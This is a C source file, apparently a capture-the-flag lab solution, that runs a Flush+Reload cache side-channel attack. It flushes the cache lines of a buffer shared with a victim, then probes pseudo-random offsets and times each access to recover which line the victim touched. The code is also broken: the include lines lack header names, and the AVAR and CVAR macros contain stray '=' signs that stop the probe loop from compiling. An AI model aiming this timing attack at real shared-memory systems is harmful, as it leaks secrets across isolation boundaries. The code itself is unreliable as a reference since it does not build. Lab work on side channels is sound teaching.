#include #include #include #include #include #include #include #include "util.h" #define CACHE_HIT_THRESHOLD 200 #define WAIT_TIME 1000 #define AVAR = 1664525 #define CVAR = 1013904223 int main() { int index = -1; int flag = -1; CYCLES time = -1; int offset = 0; // buf is shared between the attacker and the victim char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here for(int i = 0; i < 1024; i++) { clflush((ADDR_PTR)buf + i * 128); } for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < 10000; i++) { offset = (AVAR * offset + CVAR) % 1024; time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); if(time < CACHE_HIT_THRESHOLD) { flag = offset; index = i; break; } } printf("Flag: %d\n", flag); printf("Time: %d\n", time); printf("Index: %d\n", index); deallocate_shared_buffer(buf); return 0; }